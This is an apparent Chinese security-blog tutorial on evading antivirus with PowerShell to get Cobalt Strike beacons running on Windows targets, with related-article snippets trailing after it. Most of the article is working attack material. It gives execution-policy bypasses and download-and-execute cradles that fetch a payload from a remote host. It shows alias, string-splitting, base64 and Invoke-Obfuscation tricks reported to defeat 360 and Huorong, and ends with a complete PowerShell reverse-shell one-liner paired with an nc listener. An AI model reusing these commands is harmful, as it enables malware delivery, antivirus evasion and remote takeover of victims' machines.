<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    powershell免殺之路

    VSole2021-07-12 21:46:00

    Windows PowerShell 是一種命令行外殼程序和腳本環境,使命令行用戶和腳本編寫者可以利用 .NET Framework的強大功能。powershell一直都是內網滲透的大熱門,微軟是真正的在推行PowerShell,包括Office等更多自家軟件,底層都是調用PowerShell來實現,近年來利用powershell來搞內網滲透進行橫向或免殺的熱度一直居高不下。

    這次我將結合前人的各種騷操作,以及個人的不斷試錯,所想所思,來寫一篇關于powershell來進行免殺,達到CS多種姿勢繞過AV上線的干貨文章,并且本文章盡力內容友好易懂,沒接觸過powershell的小白也可以實現免殺上線,擁有自己的一些bypass小技巧

    實驗環境:

    一.

    一臺WIN7專業版 某60全家桶 某絨最新版本

    二.

    powershell執行策略問題:

    首先我們要來了解一下powershell執行策略這一塊的基礎問題:

    powershell有六種執行策略:

    Unrestricted 權限最高,可以不受限制執行任意腳本
    
    Restricted 默認策略,不允許任意腳本的執行
    
    AllSigned 所有腳本必須經過簽名運行
    
    RemoteSigned 本地腳本無限制,但是對來自網絡的腳本必須經過簽名
    
    Bypass 沒有任何限制和提示
    
    Undefined 沒有設置腳本的策略
    

    那么windows默認的執行策略是Restricted,他是不允許任意腳本的執行

    我們來查查當前目標機器的執行策略:

    進入powershell查看執行策略 :Get-ExecutionPolicy

    可以看到,此時我們運行保存好的tubai.ps1文件,當前策略是默認不允許執行腳本的

    我們可以用管理員權限來修改默認執行策略,來達到執行我們ps1腳本的效果

    Set-ExecutionPolicy Unrestricted(權限最高,可以不受限制執行任意腳本)設置執行策略


    此時執行便不在報錯,成功執行我們的腳本

    三.

    繞過執行策略:

    當然我們在滲透中,遇到執行策略配置是默認不執行的,我們再去通過管理員權限去修改就太雞肋,動作太大了,所以便有了繞過執行策略,去執行我們的腳本以及powershell命令,下面來介紹幾種常見的繞過方式。

    為便于演示,我們再次將執行策略設為默認不允許任意腳本的執行

    Get-ExecutionPolicy Restricted

    第一種:

    以文件落地為例:

    本地讀取然后通過管道符運行

    powershell Get-Content tubai.ps1 | powershell -NoProfile -
    


    Bypass執行策略繞過

    powershell -ExecutionPolicy bypass -File ./tubai.ps1
    


    Unrestricted執行策略標志

    powershell -ExecutionPolicy bypass -File ./tubai.ps1
    


    遠程下載并通過IEX運行腳本

    powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.52.23:80/a'))"

    這個下面的繞過思路會細談。

    四.

    powershell 命令混淆繞過AV上線:

    我們直接cs生成

    powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.52.23:80/a'))"

    這條命令主要做了哪些事?

    利用downloadstri遠程讀取powershell文件并iex執行,即http://192.168.52.23:80/a下的文件。

    iex => Invoke-expression 將字符串當作powershell代碼執行

    我們直接在目標機運行發現被攔截:

    那我我們可以根據powershell語言的特性進行混淆,例如字符串轉換、變量轉換、編碼、壓縮等等來繞過AV達到上線

    為iex設置別名
    

    powershell set-alias -name cseroad -value Invoke-Expression;cseroad(New-Object Net.WebClient).DownloadString('http://192.168.52.23:80/a')

    目標機器無攔截,繞過360與火絨成功上線

    2.遠程下載并通過IEX運行腳本,這里我們采用echo方式

    echo Invoke-Expression(new-object net.webclient).downloadstring('http://192.168.52.23:80/a') | powershell -

    目標機器無攔截,繞過360與火絨成功上線

    3.利用'+'拼接http達到上線(典型的powershell語法特性,以變量的方式來拆分HTTP)

    powershell -c "IEX(New-Object Net.WebClient)."DownloadString"('ht‘+’tp://192.168.52.23:80/a')"

    五.

    powershell 代碼混淆繞過AV上線:

    首先來生成一個原始的cs上的powershell腳本

    Powershell -ExecutionPolicy Bypass -File ./payload.sp1

    在目標機器執行發現被殺

    那么我們對生成的payload.ps1原始代碼進行分析

    可以看到它是把字符串進行加載,我們來整個進行一個base64編碼然后在解碼后加載

    解碼加載

    解密后變量=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String(加密后變量))

    此時去執行上線

    運行我們修改后的

    Powershell -ExecutionPolicy Bypass -File .\payload.sp1

    可以看到殺軟無反應,繞過了AV攔截成功上線

    六.

    利用Invoke-Obfuscation混淆ps文件實現上線:

    https://github.com/danielbohannon/Invoke-Obfuscation

    這個powershell混淆編碼框架,這也是著名的組織APT32 (海蓮花)經常使用的一個工具。

    還是準備一個cs生成的payload.ps1,按上面的方式生成即可,不再重復。

    1.我們來裝載框架進入Invoke-Obfuscation

    Import-Module ./Invoke-Obfuscation.psd1

    Invoke-Obfuscation

    2.接下來設置ps1文件進行混淆,按圖操作即可

    set scriptpath E:...\Invoke-Obfuscation_PowerShell\payload.ps1

    輸入ENCODING 就會列出以下幾種編碼方式

    encoding

    1

    3.輸出文件:out 2.ps1

    4.接著我們去目標機器運行生成的2.ps1

    去運行上線:./2.ps1

    可以看到無攔截

    同樣執行上線

    七.

    關于powershell在實際應用中的小技巧:

    在實際滲透中,對cmd的防范比powershell更加嚴格,所以我們在操作中通過彈一個powershell出來執行,更加方便安全。

    我們在目標機器執行

    powershell -c "$client = New-Object Net.Sockets.TCPClient('192.168.52.134',7777);$stream = $client.GetStream(); [byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){; $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback=(iex $data 2>&1 | Out-String );$sendata =$sendback+'PS >';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendata);$leng=$sendbyte.Length;$stream.Write($sendbyte,0,$leng);$stream.Flush()};$client.Close()"
    


    此時我們阿里云監聽便彈回了一個目標機器powershell

    阿里云監聽 nc -lvp 7777

    參考:

    https://www.freebuf.com/articles/system/227467.html

    https://www.jianshu.com/p/fb078a99e0d8

    https://blog.csdn.net/zhangge3663/article/details/111945373

    總結:

    powershell在內網滲透中應用廣泛,遠不止免殺與信息收集,以后會出更多的紅藍對抗系列給大家。本文介紹了執行策略問題與繞過策略方式,以及命令混淆與代碼混淆來達到繞過AV上線的方式,站在前人的肩膀上思考并看問題。各位要在授權的滲透下玩轉自己的繞過思路!

    powershell免殺
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    顧名思義,無需將惡意文件傳到目標服務器/機器上,直接利用powershell的特性加載到內存執行。為了在紅隊行動中更隱蔽的實施攻擊以及橫向移動,同時還可以解決目標不出網只能通過dns上線時的棘手問題,利用powershell可以避免一行行echo。
    powershell之路
    2021-07-12 21:46:00
    Windows PowerShell 是一種命令行外殼程序和腳本環境,使命令行用戶和腳本編寫者可以利用 .NET Framework的強大功能
    目錄簡單的惡意文檔cs生成的宏分析思路加密混淆誘導點擊項目推薦總結簡單的惡意文檔一般使用流程:第一步,生
    powershell對抗AV技巧
    2021-06-30 22:32:22
    今天介紹利用powershell上線來繞過AV防護,并介紹繞過添加用戶的攔截的方式。
    通常我們在滲透過程中從外圍打點進入內網后拿到主機提升到system權限,這一臺主機就已經拿下。但是我們進入內網的目標還是拿下盡可能多的主機,這時候選擇橫向移動的方法就尤為重要。今天就對一些常用的橫向手法進行一個總結,有不足之處歡迎師傅們進行斧正。
    前言某次小型紅藍,直接丟過來幾個登陸框,定點打。環境介紹全部都是shiro框架。過程爆破用戶名密碼,都是加密的。查看網頁源代碼的時候,發現其中一個利用的DES-ECB的單層加密。果斷生成大量的字段。我的超大字典,都沒有爆破出一個有效的賬號。一上午毫無收獲,陷入沉思。用上午在A系統登陸顯示沒有應用權限的賬號,但是不會自動解壓,沒有找到可以利用的點。在目標機器部署了cs。
    0X01起源在攻防演練中通過運行惡意代碼連接C2是最常用的手段,但是由于對抗程度的提升。以360、天擎為代表的毒軟件針對信任鏈的檢測,已經變得愈來愈成熟。這里我們可以理解為,攻擊者通過利用"白加黑"這種攻擊方法。當攻擊者通過社工釣魚的手段,使得目標下載惡意的文件到目標自己的計算機上,并點擊運行白文件時,該文件會在運行時執行惡意DLL。
    時間線11 月 10 日,我們發現了一次多階段 PowerShell 攻擊,該攻擊使用冒充哈薩克斯坦衛生部的
    好久沒寫實戰文章了,過年過的手都麻了,一天不滲透我是渾身難受。正想找幾個站泄泄火呢。剛好就接到了領導的任務,需要我去參加某集團組織的攻防演練。過程即簡單也曲折,好在成功繞過waf,且橫向滲透取得辦公區運維機權限,最終取得工控生產區服務器權限,完成滲透目標,skr~skr~。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类